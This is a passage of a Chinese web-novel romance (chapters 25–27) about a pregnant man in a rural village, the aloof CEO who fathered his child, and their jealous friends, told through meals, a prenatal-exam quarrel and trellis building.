江之遇却听到一记声音放大似的在耳边响起,沉冽的,没什么情绪,却足够震颤他的耳膜。 他问:“你让他碰你肚子了?” 第25章 第 25 章 还好没有伸进去………… 江之遇纤细的身形在厨台前因这句话微微一僵, 手中清洗番茄的动作也不由得顿住。 他白皙手背淋着从水管流出的清澈的山泉水,好半晌,小声咕哝:“我不知道你在说什么。” “你刚才不是让他给你做检查了吗?”谢津延阴恻恻走到他的身后。 厨房空间不大, 江之遇回来后又对厨房进行了改建, 往里面修了厨台、橱柜, 各种精致小巧的收纳箱。 还找了一个陶瓷瓶, 每日从院子里采摘新鲜的花朵插在瓶子里, 摆在厨房的厨台上。 他一个人住在家里, 平时自己在厨房忙活并不觉得拥挤,然而现在因为这个男人的到来,他忽然觉得厨房里的空间有些逼仄。 江之遇感觉身后男人的目光像是无形的藤蔓缠附在他身上一样。 他没去看男人此刻的表情, 听到对方说的是检查的事情,迟钝地点点头:“黎少爷说他的设备能看得更清一些……” 所以真让那家伙给他做产检了。 谢津延面色一下子冷了几分, 心中那股燥意也愈来愈烈了。 他努力压下这种令他不爽的情绪, 盯着眼前这截像某种无害动物一样细白修长的脖颈,毛茸茸的碎发下隐隐有一颗小痣, 贴着小巧耳垂的方向。 谢津延才注意到。 “然后呢, 你就把衣摆撩给他看了?”他垂着眼眸漠然问道。 江之遇转身, 面上流露出茫然和不解:“做超声检查不都要把衣服撩上去吗?不然医生怎么查看?” 谢津延一噎,对上他琥珀般澄净漂亮的眼眸,一时不知作何应答。 心里堵得慌。 谢津延默了片刻,又问:“那他有没有伸进去……” “什么伸进去?”江之遇茫然,过了好几秒钟, 皙白的脸庞上瞬间被红霞铺满。 他反应过来眼前男人说的是什么。 江之遇耳根红得厉害, 脸颊一阵一阵的火烫。 自从知道这个世界和他原来生活的世界有很多不同的地方,他总是会因为一些冲击而脸上热血上涌,整颗脑袋像是被丢进去一枚炮仗, 把他炸得大脑嗡嗡的。 他不自然瞥开视线,摇摇头:“没有,只做了腹部彩照检查。” 黎少爷也提议过内检,那样不仅会看得更清楚一些,还能够测量他的骨盆大小和了解产道情况,分析顺产的可能性。 还说他太瘦了,提前掌握好身体的各项情况有助于他以后的生产。 可江之遇觉得太羞耻了。 因为要把仪器从他后面探进去,还有指检。 如果是不认识的陌生医生说要做这样的检查,江之遇纠结纠结,蒙着脸,为了肚子里的宝宝还能勉强说服自己忍下来。 毕竟和昭昭小叔那一晚,男人那根在他后面的异物感太强烈了,像木棍一样,他每一次想起都会忍不住头皮发麻。 可是让昭昭小叔从小交好的朋友给自己做这种检查,江之遇无论如何都过不了心里这一关,实在是太羞耻了。 谢津延听说只做了腹部彩超检查,面上阴鸷的表情缓和了些。 “你以后不要听他的话,也不要去他那里做检查了,他压根就不是什么专业医生,半吊子水平,不然也不会转去从商。” 谢津延沉着脸,没有察觉出自己语气里的阴阳怪气。 “预产医生我已经让宋秘书找好了,以后会由私人医生照顾你,你也不用往其他医院跑,我会给你安排妥当。” “你给我找医生了?”江之遇睁大眼睛,有些意外他给自己找了私人医生。 谢津延注视着他被头顶那盏自己手工制作的橘灯映照得璀璨暖润的漂亮眼眸,心念微微一动。 “我虽然签了协议,但毕竟是孩子的亲生父亲,那个意外由我间接铸成,出于责任感我也不能放任你们不管。” 江之遇怔了怔,半晌被他漆沉晦暗的眼神盯得浑身不自在,转过身:“……你先出去吧,我要做饭了。” 他继续清洗手中的番茄,摘掉番茄顶上的绿蒂,然后用热水烫掉表皮,打了几个自己散养的母鸡下的鸡蛋,放在油锅里炒散。 谢津延并没有离开,就站在身后。 鼻尖萦绕着鸡蛋和番茄浓汁炒出来的浓郁香味,他一直站在厨房里盯着男人纤细的身影。 昭昭带着黎叔叔参观完小院回来,走进厨房:“咦,小叔,原来你在这里呀?” 黎清叙视线投向厨台灯火下的美人,对发小:“我记得你最讨厌烟火气,从不进厨房让身上粘上半分厨房的味道。” 谢津延脸色变了变,一言不发地从厨房走出去。 一直盯在身上的晦暗视线消失,江之遇紧绷的身体终于舒展开。 做完西红柿鸡蛋面的浇头,他就开始往热水里煮面。 面也是他亲手擀制的,面条筋道,口感滑爽。 他趁面下锅的时候,又去拌拍黄瓜。 没多久,三碗西红柿鸡蛋面煮好,拍黄瓜也做好了。 谢寻昭开心地帮养父把面端到客厅,溪源乡这边的人管这样用来招待客人的地方叫堂屋。 他把面放在堂屋的方桌上,热情地招待小叔和黎叔叔坐下。 “小叔,黎叔叔,你们快尝尝爸爸的厨艺,我爸爸做饭可好吃了。” 谢寻昭现在俨然一副小主人的模样,他现在有两个家,虽然原本的家爷爷奶奶对他很好,包括赵管家、家里的佣人,所有人都宠他,但养父这里又有另外一种温馨。 他喜欢爷爷奶奶、小叔,家里所有人,也喜欢和养父在一起的日子,现在重新回到这个生活了三年的地方,谢寻昭有一种特别舒适惬意的感觉。 谢津延和黎清叙在方桌前一左一右坐下。 谢津延是第一次来到乡下,坐在这样屋子小小,用餐的桌子和椅子都是那个男人自己不知道从哪里砍的普通树木做的地方,有些不太习惯。 但他到底修养良好,面上没露半分神色。 拿起筷子开始吃面前这碗料理简单的西红柿鸡蛋汤面。 屋内灯光悠悠,院外吹着舒缓的风,轻轻摇晃着屋檐下的竹编灯笼,也将小院篱笆上的花香和菜园里瓜果草木的清香带到了屋子里。 谢津延觉得一定是辗转山路那么久没有吃任何东西,才会觉得面前这碗汤面这么香。 他是一个对美食有着苛刻挑剔的人,却也觉得这碗汤面口齿生香。 最后三个碗都干干净净。 黎清叙斯斯文文擦了擦嘴:“谢谢昭昭养父的招待,您的手艺堪比五星级大厨,我从来没有吃过这么好吃的面。” 他这种张口就来的花言巧语让谢津延微微拧了拧眉。 谢津延一直都了解,几个人中,黎清叙惯会顶着一张风度翩翩的脸招蜂引蝶,哄得男男女女都为他脸红心跳。 可只有他们清楚,这人才是真正距离感最强的人。 斯文面具下,是一颗看待什么都视同实验室冰冷仪器和实验对象的虚伪冷漠的心。 谢津延不欲揣测他这位发小为什么会放着公司里的工作不做,做回以前的老本行来山区做志愿服务。 他只目光盯着男人面上的表情。 因这声夸赞,皙白隽秀的脸上染了一抹红晕,像皑皑白雪上开了一朵艳丽的山茶花。 谢津延黑眸暗了暗,面上情绪冷凝几分,心口也微微有些发紧。 吃过晚饭,时间不早了。 天空夜色更浓,那轮挂在天空的皎月因此更加明亮清晰。 一盏一盏暖黄的灯光在溪源乡各家各户的窗前亮起,像浮荡在深海里的星星。 乡长那边过来告知客房已经准备好了,包括谢总在内,还有为溪源乡的村民做义诊服务的黎先生的医疗团队,乡长全都热情地帮大家安排好了房间。 谢寻昭拉了拉小叔叔的手:“小叔,其实你今晚也可以和我们一起睡,家里还有一间空屋子,可以睡得下我们。” 谢津延冷峻面庞上的表情微缓,转头看向小侄子。 江之遇急忙出声:“还没有收拾出来,你、你还是和乡长一起去乡长安排的客房吧。” 他一紧张和着急,有些结巴的毛病就又出来了,脸上不知为何也涨得通红。 谢津延漠然盯了他几秒,回转过身。 走在前往乡长给他们安排的客房路上。 黎清叙抬头望向头顶上在北城看不到的澄净星空,散漫着问发小:“你做了什么,一提到要一起睡,就把他吓成了那副模样。” 谢津延黑着脸,不发一言,脑海里一闪过从自己的私人别墅里醒来的那个雨后清晨的画面。 男人晚上睡觉一个劲儿地往他怀里蹭,把他蹭出火了自己倒先闷声不吭跑了,最后还一副自己是受害者的样子,仿佛自己是洪水猛兽,会把他怎么样。 虽然从未对什么人心动过,也没心思去想未来会找个什么样的人成为他的伴侣,共同组建家庭。 谢津延自认自己是对男人没有兴趣的。 酒店那晚,纯属药效劲猛。 他已经多次提醒和警告那个男人离开了。 既然对方视自己如洪水猛兽,那他就远离他。 谢津延并没有答应要留宿在他那里,那么小的屋子,还没有他家的游泳池大,谢津延住不习惯这样的地方。 江之遇那边,等昭昭小叔和黎少爷离开以后,就叮嘱昭昭洗了澡。 他自己随后也洗漱完毕,换了睡衣准备睡觉。 为了照顾好肚子里的宝宝,江之遇现在都是早睡早起,保证充足的睡眠时间。 “爸爸,你为什么不让小叔叔和我们一起睡,家里不是有收拾好的空房间吗?” 谢寻昭洗漱完躺到柔软的床上,打算今晚抱着养父和养父一起睡觉。 江之遇脸微微一热:“你小叔他应该睡不惯我们这样的地方。” “也对。”谢寻昭眨眨眼,他虽然是出生于豪门大家的小少爷,可是流落在外的这些年一直住在乡下,吃过很多苦头,习惯了和爸爸在任何艰苦的环境下生活。 小叔叔就不一样了,没吃过苦,没受过累。 和他刚到溪源乡的时候,差点被张叔养的大鹅叨了,小叔叔当时就变了脸色。 谢寻昭猜小叔叔一定是后悔陪他来了乡下。 父子二人躺在床上说了会儿话,主要是谢寻昭在讲,跟养父分享自己最近的日常,尤其是自己现在学会了骑马,还在学剑术和格斗术。 江之遇一个劲儿地夸赞养子,眼皮一点一点耷拉,瞌睡来了。 却在这个时候,院子外面响起了敲门声。 谢寻昭还处在亢奋的时候,一听到有人敲门,立刻自告奋勇地告诉养父自己去开门。 已经快接近零点时分,溪源乡各家各户的灯都熄灭了,江之遇小院屋檐下的两盏竹灯还亮着。 柔和灯光照亮屋檐下一小方空间,谢寻昭看清门口敲门的人,小小的脸上露出惊讶的表情。 “小叔,你怎么这么晚了还没睡?还有,你怎么到我们这里来了?” 谢津延脸上闪过一抹异样,沉冽声线四平八稳:“我在那边住不习惯,来你们这里借住一晚。” 没有忘记一只体型巨大的蟑螂在客房里乱飞的画面…… 第26章 第 26 章 他们到底背着我们在做什…… 谢寻昭惊讶过后把小叔领进了门。 屋内亮起一簇灯火, 迷迷糊糊的声音从卧室里传来:“昭昭,是谁呀?” 谢津延第一次见这个男人的时候,就觉得这个男人一口吴侬缱绻的南地乡音很好听, 轻声细语的, 搔刮耳膜, 挠得他心里痒痒的。 他后来认为是药效让他产生了这种错觉。 可现在……那道声音隔着一扇半阖的门传来, 夜风轻缓飘过, 屋檐下的仿古灯笼被掀得摇曳生姿。 橙黄色的光晕落在谢津延凌厉分明的侧脸上, 和白日不同带一点黏糊的迷糊声音就这样飘了过来。 谢津延脚步一顿,酒店当晚搔刮耳膜的记忆袭来,他的心脏也像是被什么刮过, 酥酥痒痒的。 “爸爸,是我小叔。” 谢寻昭跨进屋门, 开心地把小叔叔带到了屋子里。 谢津延记忆倏然回笼。 江之遇瞌睡的眼眸也在迷瞪了几秒后睁开。 “他怎么来了?” 江之遇连忙掀开薄被从床上下来, 睡意瞬间全无。 谢津延看向从卧室里走出来的人。 穿着一身宽大的肥版的浅色棉麻睡衣。 这件睡衣应该也是男人自己亲手做的,因为和给他开门的小侄子身上穿的是同款, 同样的面料, 上面都印有可爱的小鸡、小鸭、松鼠和树枝。 还有一大一小两个简笔画小人, 不用说一个是昭昭,一个是男人自己。 只是昭昭这些时日身量长高了些,再穿这件之前的衣服难免有些小,男人穿着却很宽大,笔直纤长的一双腿撑着, 精致锁骨伶仃, 让谢津延想起那晚把他整具纤细身体裹在怀里的画面。 他微微有些失神。 谢寻昭直言不讳:“我小叔说他睡不惯乡长给他准备的客房,有会飞的蟑螂。” 谢津延:“……” 江之遇愣了愣。 南地气候温暖湿润,草木汲取充足的太阳光和水分生长得十分旺盛繁茂, 却也因此多蛇虫鼠蚁,还有会飞的蟑螂…… 昭昭小叔矜贵惯了,还有洁癖,第一次到乡下遇见会飞的蟑螂,江之遇实在难以想象那会是怎样一幅景象。 他隽秀的眉头纠结拧了拧:“那就睡昭昭那间屋子吧。” 江之遇还是忘不了在昭昭小叔的私人别墅和他同睡一张床上醒来被他用那处抵着的画面。 “那昭昭呢?”谢津延环顾了一下这间屋子,视线落在对门那间空间稍小一些的卧室里,应该就是他小侄子之前住的房间。 不等男人开口,他小侄子一把抱住养父的腰,开心道:“我今晚和爸爸一起睡。” “哦。” 谢津延淡淡应了声,脑海里闪过八岁男孩还会和父母一起睡吗的疑惑。 他八岁时怎么就没有这样。 不过他面上到底没有显露,只看向男人,语气掠过一抹自己不易察觉的不自然:“今晚打扰你了。” 江之遇:“你只要不嫌床太硬,睡得不习惯就行。” 说着,江之遇回到自己的卧室从木柜里拿了一床薄被到昭昭的房间里铺上,被子正好是他回来后放在太阳底下新晒的,床褥也都是前不久清洗干净的。 铺好床,他又从抽屉里取出一支香点上。 淡淡清新好闻的香气钻入鼻尖,谢津延望着蹲在地上的身影:“这是什么?” 江之遇抬了抬眸:“是我用一些草本植物自制的驱虫香,你不是怕蟑螂吗,我帮你点一支,这样晚上就不会有蟑螂飞进来。” 谢津延:“……” 我没有怕蟑螂。 他只是见不得屋子里有这样奇怪丑陋还会飞的生物。 还有,说不清为什么自己反应过来就站在了这座漂亮小院的屋檐下。 夜寂静。 江之遇帮昭昭小叔铺好床就带着昭昭一起回卧室睡觉了。 谢津延鼻尖浮荡着丝丝缕缕的草木清香,还有一种从搭在身上的薄被散发出来的类似于阳光一般洁净的味道。 他嗅着这样恬然的气息,耳畔悦耳虫鸣。 对某些事物要求苛刻,近乎到挑剔的男人缓缓阖上眼睛。 一夜好眠。 次日清晨,谢津延在啁啾清脆的鸟叫声醒来。 角落草木香燃尽,地上落了几点淡淡的香灰,却有一股香浓清甜的气息从厨房的方向飘来。 谢津延穿好衣服走出小侄子的房间,就看到一个纤细漂亮的身影围着围裙从厨房端了一小锅粥出来。 客厅的方木桌上也摆好了早餐。 看到从屋子里走出来的身影,谢寻昭挥挥手:“小叔,快洗漱吃早饭,爸爸做了蔬菜蒸包、煎饺和鸡蛋羹,哦对了,还有南瓜粥,可好吃了。” 原来这股浓郁香甜的气息是南瓜粥。 谢津延于是去了浴室洗漱,随后和他们一起吃早餐。 吃完早餐,男人就去打理自己的小院了。 先是从院子里采摘了一些新鲜的花束,插在厨房那只陶瓷罐里。 随后给鸡圈里的鸡喂食。 之后给小菜园的瓜果蔬菜浇水、锄草,清扫园内的青石板地。 再然后去工具屋打磨木料,做自己的榫卯小玩具。 这是谢津延第一次清晰看到这个男人的日常。 住在自己家里的那段时间,谢津延往往回得晚,走得早,不排除最开始的时候自己有回避他的心理。 关于男人的一切,大多都是从母亲还有家里的佣人口中听到。 他们似乎住得很近,只隔着一条走廊,又似乎离得很远。 在他拿着协议怯怯扭扭找上自己的那个雨夜之前,谢津延发现他从来没有了解过这个男人。 光线朦胧。 眼前像是被裹了一层毛茸茸的光圈,光变成七彩的,落在又到院子里开始搭葡萄架的男人身上。 昭昭搬了凳子正坐在紫藤萝花架下的石桌上写从北城带过来的周末作业。 过了紫藤萝盛开的花期,花架上现在郁郁青青,缠着蓊郁的枝叶,被明亮的太阳光照得碧绿剔透。 谢津延望了眼男人的身影,又看向紫藤花架下专心做作业的小侄子,脑海里浮现出以后孩子生出来,会不会就是这样一幅岁月静好的画面。 他忽然有些后悔那晚草草在协议上签了名字。 一张离谱的协议,谢津延当时并没有放在心上,只想让他在那么大的雨中先离开。 那么纤细的身体,仿佛风一吹就能折断,还怀着身孕,衣服上浸湿了车辆疾驰而过溅来的雨水,却倔拗地和自己僵持。 让从来在谈判场上无往不利的自己第一次尝到了失去谈判主动权的狼狈滋味。 谢津延心情很是复杂,视线落定在男人的身影上。 葡萄架已经搭好雏形,男人正垫着脚吃力地往木架交叉的地方绑绳索加固葡萄架。 谢津延挂断视频通话会议,让宋秘书主持接下来的工作,合上笔记本电脑,走到葡萄架旁。 “我来吧。” 他接过男人手中固定葡萄架的绳索。 熟悉的木质沉香气息包裹而来,随之落下一片高大的阴影。 江之遇扭过头,就看到昭昭小叔不知什么时候走到了他的身后,胳膊从身后绕过来,质地轻薄的西装面料擦过耳垂,轻易就将自己不小心搭高了的葡萄架固定住。 江之遇身体一僵,抬眼怔怔看向离他这么近的男人。 昭昭小叔很高,他微仰着脖颈看他的时候,能清晰看到他流畅的下颌线条,被头顶上明亮的太阳光圈抹去凌厉的弧度,侧脸一瞬变得柔和。 “你每天都要给自己找这么多的事情做吗?” 在江之遇整个人怔住的时候,男人低下头问,光晕一曳一晃,那双看人时总是带了点冷鸷的漆黑眼眸也好似柔和许多。 江之遇不自觉退后一步。 然而身后就是男人结实的胸口,他脚步一绊,直接跌进了对方怀中。 被对方一只胳膊揽住。 光线太亮,江之遇看不清男人脸上的表情,只感觉到对方身体也好似微微一僵,随后熟悉低沉的嗓音从头顶上方传来,惯常听不出情绪的冷冽口吻。 “小心,你这样很容易摔到自己。” “还不是因为你突然出现在我身后,一点声音都没有……”江之遇回过神来后小声咕哝。 他好像特别喜欢这样小声碎碎念,垂敛着漂亮的眼眸,眼神总是小兔子般闪躲,然后自己悄悄嘟囔。 谢津延心脏像是被一片轻柔的羽毛扫过,松开手臂,怀中残留着毛茸茸的脑袋撞击到自己心口的温度。 他隐约听到哪里有心跳声。 “我只是看你垫着脚给葡萄架固定很是费力,有点看不下去。” 江之遇耳根微微一热,再次小声咕哝:“我马上就自己固定好了……” 剩下的葡萄架是昭昭小叔一个人在搭。 他说他个子高,让他来做这样的事情比自己快速,他向来是个讲求效率的人,能追求效率最大化就不会启用别的方案。 江之遇想,这样的方案也包括干农活吗? 因为在这之前他实在不敢相信这样一位金尊玉贵的大少爷,那么大一家集团公司的总裁,会在自己的小院做这种粗活累活。 他还以为他那双冷玉般骨节修长的手只适合在公司签署文件,或是像之前在酒店走廊看到的那样,姿态矜贵地擎着红酒杯,游刃有余地游走在交际场。 没想到这双手也会有别的用途。 祁焰最近联系不上两个发小,一个疑似把群消息屏蔽了,一个从家里的公司消失,不知道去了哪里。 好不容易一通电话打到阿延那里,终于有人接,却是八岁小男孩的声音。 “哦,你说我小叔啊,他现在忙,正在给我爸爸搭葡萄架,没时间接电话。” “黎叔叔也在我们这里,昨晚还来我家蹭饭了。” 祁焰:“?” 不是,为什么昭昭说的话他听不懂啊。 在他爸爸那里搭葡萄架。 昭昭的爸爸应该就是他的养父。 可是昭昭养父不是带球跑回乡下了吗?叫什么地方来着,好像是溪源乡。 为什么阿延会在他小侄子养父的家里搭葡萄架? 他搭什么葡萄架啊?这是他能干出来的事吗? 还有,老黎为什么也在他们那里,还去昭昭养父的家里蹭饭? 昭昭说的是他们两个人吗? 他们到底背着自己和岭生在干什么啊??? 第27章 第 27 章 “你们两个不是最好的朋…… 祁焰握着电话, 一张总是恣意张扬的帅气面庞上写满了疑惑。 他现在正在拍摄一支高奢品牌的代言广告,化妆师刚给他画好了妆,等品牌方那边安排好就会过去拍摄。 他经纪人从化妆室门口匆匆忙忙走过, 半途折回来:“收收你的表情, 你现在看上去太傻了, 被人拍到流传到网上, 会影响你在粉丝心目中的形象。” 祁焰挑挑眉, 漫不经心做了个口型:“知道了。” 他也不想这么惊讶的, 实在是等候的间隙有些无聊,想到最近发小们一个个像销声匿迹了一样。 岭生话少,不常出现他理解。 阿延自从他那个土美人揣球跑了就从群里消失了。 还有老黎, 哪里都会插上一脚的人竟然也许久没有吭声,问他公司助理才知道已经好几天没去公司了。 怎么, 到底忍受不了接管家业跑路了? 祁焰满脑袋疑惑, 终于忍不住打电话一个个问过去,竟然从昭昭口中听到这么……让人难以理解的信息。 在昭昭乡下的养父家搭葡萄架? 去昭昭养父家蹭饭? 祁焰虽然学生时代成绩一直追不上另外三个, 但自问智商没有问题。 可昭昭说的话怎么会这么难以理解? 他从沙发上坐直身体, 化妆室阔大的玻璃镜上倒映出他帅气无比的面庞, 蓝发招摇惹眼,修长手指圈着一贯张扬的戒指,腕上品牌方镶钻的表盘矜贵璀璨。 面上表情却十分纠结费解,飞扬眉头拧在了一起。 祁焰向昭昭难以置信地确认:“你说你小叔和黎叔叔在你爸爸那里,你爸爸不是回乡下了吗?” 谢寻昭点点头:“对呀, 我回乡下了, 昨天下午小叔陪我回来看望我爸爸的。” 祁焰:“?” 祁焰:“!” 沙发上的人抓耳挠腮,直接站了起来。 “他们俩怎么会跑去乡下?” “老黎以前喜欢四处乱跑我能理解,阿延怎么会去那里?” 他那么洁癖的一个人, 怕不是走在乡间的路上一直弯身擦皮鞋擦到天荒地老吧? 而且为什么他们俩会一同去了昭昭养父所在的乡下啊?! 正要问清楚是怎么一回事,电话挂断了。 谢津延从小侄子手中拿回手机,看清屏幕上显示的通讯信息,毫不犹豫挂断了电话。 “小叔,祁叔叔问你怎么来乡下了。”谢寻昭如实转达帮小叔叔接听电话听到的内容。 谢津延面无表情查看手机上有关公司的其他讯息,闻言心不在焉应了声:“再看到是他打来的直接不接就行了。” 谢寻昭:“哦。” 祁叔叔怎么得罪小叔了? 听奶奶说,他们不是从小一起玩得很好的朋友吗? 谢寻昭小小的脑瓜一脑袋问号。 化妆室里,祁焰茫然地看着手中被挂断的电话,不明白发生了什么。 他再次拨过去电话,没人接。 再打,挂断。 他直接一个电话打到岭生那里,气得鼻子孔直冒火:“岭生,你猜怎么着,阿延和黎清叙那两个家伙跑到乡下去了!阿延还把我们屏蔽了,不就是那天在群里说了他几句吗。” 祁焰愤愤不平,隐约猜到可能是那天在群里把话说重了,让阿延那个死要面子的有些难堪。 “可我们也是为了他好,人家都带着孩子跑路不要他了,我们让他重新再找更好的不对吗?” 霍岭生不紧不慢走在下山的石阶上。 他刚从山上修复完石碑下来,耳边就炸出这么一堆连珠炮。 他顿了顿脚步,把手机从耳边拿开一些。 “你是说阿延和清叙去乡下了?” “是啊,都去溪源乡了。”祁焰肯定点头,“昭昭说阿延是陪他去乡下看望他养父,老黎就不知道了。” 霍岭生神情淡漠,清冷眼眸虽也略过一瞬诧异,不过很快就恢复成不问世事的冷淡模样。 “腿长在他们身上,他们想去哪里就去哪里,有什么大惊小怪的。” “不是,你不觉得很可疑吗?为什么他们会去到同一个地方?昭昭还说老黎昨晚去他养父家蹭了晚饭,老黎那天在包厢那样揶揄人家,他怎么有脸的啊?” 霍岭生眉头这才轻微皱了皱。 化妆室那边品牌方的人进来告知可以拍摄了,祁焰心中疑惑憋到了极点,却还是不得不挂断电话:“我先去拍广告了,晚点再和你说。” 耳边一下子清净下来。 霍岭生背着修复石碑未用完的石料重新往台阶下走。 古刹幽静,能远远听到从山寺那边传来的钟声,霍岭生背篓擦过石阶旁探出的枝桠,几片艳红的花瓣飘落,悠悠落上台阶。 他抬眸,望向这株扎根山野的不知名花树,仿佛那日他在那扇窗下抬头看到的那株。 住持见他从山上下来后一直有些心不在焉,问他怎么了,是石碑修复有什么难处吗? 霍岭生摇头。 住持意味深长看他一眼,从藏经阁里拿出一本年代久远的营造书,书页泛黄,沾了点古朴的尘灰,住持用衣袖轻轻拂过。 “我前几日在网上看到一个古法工艺制造的榫卯玩具,你知道,我一直在寻找一种失传已久的古技法,试图复原那座前朝留下来的伽蓝殿。” 霍岭生疑惑抬眸:“您是说那个玩具里有您想找的古技法?” 住持微微笑着,翻开营造书:“是,我向那位买家打听过了,是从一位乡下自媒体博主的链接橱窗买的,听说还有其他有趣的小玩意儿,可惜数量太少,一经售卖就被抢空,我到现在也没能抢到。” “您可以试着问买到的人能不能转卖。”霍岭生提议。 住持笑道:“正在接洽这样的买家,不过我更希望能够找到那位原手工制作人,虽然现在非遗传承渐入佳境,很多古法得到传承弘扬,大学里针对这一类的课程也很全面丰富,但难免有遗漏的地方。” 这是霍岭生了解的。 因为他的母亲在此之前就一直做着非遗传承和古物尤其是古建筑的复原和修缮工作,年纪轻轻就已经是大学里一位优秀的建筑系教授。 如果不是这段婚姻蹉跎了她,把她折磨成这副模样…… 霍岭生清冷的眼眸覆上一层晦暗,再也没办法维持寂静湖水般的冷静和清明。 住持翻动着手中的营造书,余光瞥一眼他面上的异样。 霍岭生问:“您需要我做什么吗,要不要我帮您收集信息?” “其实我更希望你能去帮我跑一趟。”住持笑眯眯的,“你老是闷在山上,只偶尔去找你那几个朋友,在这里待久了,我怕你憋坏了。” “我没有……”霍岭生轻轻皱了皱眉,“我每日都在跟您修习佛法,听师兄们讲经,没有感到憋闷。” “修炼在心不在身,你看到山下那处潭水了吗?”住持叹了口气,语气意味深长,“表面看上去平静,实际上底下有个暗流,一不小心就能把流经的事物卷进去。不管怎样,你帮我跑一趟吧,傅施主那边,会有人照顾好她。” 霍岭生没有作声。 溪源乡。 江之遇看昭昭小叔一点一点帮自己把葡萄架搭好,还是不敢相信眼前的男人会做这样的事情。 马上就要晌午了,日光变得炽烈。 他看到男人额头上出了点汗,那身做工考究的西装外套被他脱下,只穿了件黑衬衫,袖口挽起一截,露出流畅的小臂肌肉线条。 江之遇转身去厨房做了杯荷叶凉茶,荷叶是早上小蓁姐去莲田采摘莲子的时候摘的,小蓁姐顾及他怀孕,这段时间每次去田间或是山里采摘些什么,都会给他送过来一点。 这些莲叶江之遇原本打算中午给昭昭做荷叶鸡的,但现在,他把荷叶洗净,剪成小段放进茶钵里,加水用杵臼捣烂。 之后用专门过滤用的细纱布和茶漏过滤,兑上他前些时日储的准备酿酒用的山泉水,再加一点蜂蜜和柠檬片。 清凉解暑的荷叶凉茶就做好了。 他把荷叶茶给昭昭倒了一杯,然后倒了杯给昭昭小叔端过去,顺便拿了条干净的毛巾。 “你先喝点水吧,还有,”他把毛巾递过去,看向男人额头上的汗珠,“把你额头上的汗擦一擦。” 谢津延微微一怔,对上他陡然看过来的漂亮眼眸。 随后看着他递过来的摇曳着碧透水光的绿茶还有散发着洁净气息的毛巾,不知为什么,心情忽然很好。 黎清叙敲了敲院门走进来,正好看到眼前一幕,惊讶了一声:“阿延,你这是在做什么?” 他还以为自己看花了眼,他那个从小矜贵,高高在上的发小好像在做与他十分不匹配的事情。 谢津延看到从门外走进来的身影,面色沉了沉,接过男人递过来的荷叶茶几口灌进喉咙里。 江之遇:“……” 又没人和你抢。 不明白昭昭小叔为什么突然变了脸,江之遇问向跨进小院的黎少爷:“你怎么来了?是志愿平台的工作忙完了吗?” 黎清叙余光瞥着用毛巾擦拭额头的发小,纳闷这人平时不用这种别人递过来的带一点私人接触属性的物品。 高中和大学打篮球时从不接围在篮球场外那些迷弟迷妹递过来的东西。 他按下这种疑惑,冲朝他看过来的美人扬了扬笑意:“嗯,忙完了,我来看看昭昭和阿延,毕竟出来做义诊还能碰见他们,真是太巧了。” 谢津延十分无语。 “怎么在北城的时候不见你这么热心?” 黎清叙笑,没接这句话,而是问:“你和昭昭什么时候回去?昭昭明天还有课吧?” 谢津延眉头皱了皱,同样没回,反问:“你呢,你的义诊活动要持续多长时间?别告诉我你要在这里待上十天半个月。” “我确实有这个打算。”黎清叙笑了笑,“这里山明水秀,空气清新,民风十分淳朴。最重要的是让我找回了一点初心,你知道的,我并不怎么想接手家里的生意。” “倒是你,”黎清叙收敛起一点笑意,镜片后的桃花眼闪过一抹探究,“是真的单纯来陪你小侄子看望他养父的吗?” 谢津延沉默。 江之遇站在一旁,听不懂他们两个在说什么,不知道是不是他的错觉,两个自小交好的人好像从昨晚见面起就隐隐有股火药味。 谢寻昭拿着作业走过来:“爸爸,我作业写完了,你做的荷叶茶好好喝,我还想喝,可是我下午就要和小叔叔回家了。” 江之遇注意力回到养子身上,摸摸他的头:“没关系,等你下次来了爸爸再做给你喝,还给你做其他你爱吃的。” “那我下周就来!”谢寻昭一听养父还要给他做其他好吃的东西,顿时亮起了眼睛,“反正坐小叔叔的私人飞机很快,小叔,你下次还会陪我过来吧?” 不易察觉的角度,谢津延翘了翘唇角,面上却没什么表情:“这你要问奶奶,而且你周末还要学习马术和剑术。” “哦。”小男孩立刻耷拉起脑袋,显然很失落的样子。 中午,江之遇给养子做了一顿丰富的午餐。 他们下午要回去了,江之遇其实心里也有点不舍。 还有昭昭小叔上午一直在帮他搭葡萄架,江之遇向来都是别人只要帮助自己一点点,就会很努力地回报对方。 依旧留了黎少爷吃饭,本来是客气问一句,没想到他当场就答应了。 江之遇只能让他一起吃午饭,反正黎少爷给村子里带来了这么大的医疗福利,还帮王阿婆患白血病的小孙女找到了医治渠道。 江之遇想,就当自己是在帮忙招待志愿者,也算回报昨晚他给自己做的免费产检。 吃完午饭,江之遇帮昭昭收拾书包,以免养子有落下的作业没有带回北城。 谢津延站在卧室的房门口注视着他的一举一动。 看他把课本、衣服整理好,又往书包里塞了他自己晒的小鱼干和土豆片,还给他们洗了一些水果,用小巧的食盒装着,里面隔层加了冰,留作他们回去的路上吃。 毕竟山路崎岖,要绕一段路程,等到了北城,估计要天黑了。 谢津延就这样盯着他忙碌的身影。 很奇怪,这里也没什么特别的地方,他竟产生了一丝留恋。 “我们走后你不要让黎清叙随随便便进家门,还有,”他漆黑的眼眸一瞬间变得幽暗,“也不要再让黎清叙给你做检查,无论他说什么都不要听。” 那个男人太擅长用花言巧语蛊惑人心了。 虽然谢津延并不知道他这个发小来这里的真实目的,究竟是不是找寻初心,可以从小一起长到大对这人的了解,他那副狐狸般的伪笑后一定藏着什么。 江之遇又开始被他用这种让人头皮发紧的眼神盯着,背着他,小声咕哝:“我没有打算再让他给我做检查。你们两个不是最好的朋友吗?” 江之遇咕哝完,忍不住问出心中的疑惑:“我怎么感觉你这两天对他敌意有些大。” 谢津延:“……” 私人飞机再一次划过长空。 只是这一次,是从南地返回北城。 飞机上,谢寻昭开心地吃着养父给他准备的小鱼干和水果,看到对面坐着的从养父家离开脸色就不怎么好的小叔,他叉过去一条小鱼干。 “小叔,你要尝一尝吗,很好吃。” 谢津延原本打算拒绝,他不吃主餐以外乱七八糟的东西。 但小侄子已经送到嘴边,想到男人这两日做的饭菜都十分好吃,连最简单的西红柿鸡蛋面都口齿生香,还有他在葡萄架下做给自己的荷叶茶。 谢津延于是从小侄子手中接过,咬了口。 “你回去以后跟爷爷奶奶说你下周还想去你养父家。” 谢寻昭:“?” 和小叔叔同样漆黑的眼眸一下子睁得很亮很大:“我还可以吗?你不是说让我周末学习马术和剑术吗?” “从下周一开始,我每晚从公司回来给你补。” 每天放学还有很多学校功课的谢寻昭:“……” 一时不知道自己是该高兴还是难过了。 好吧,补就补。 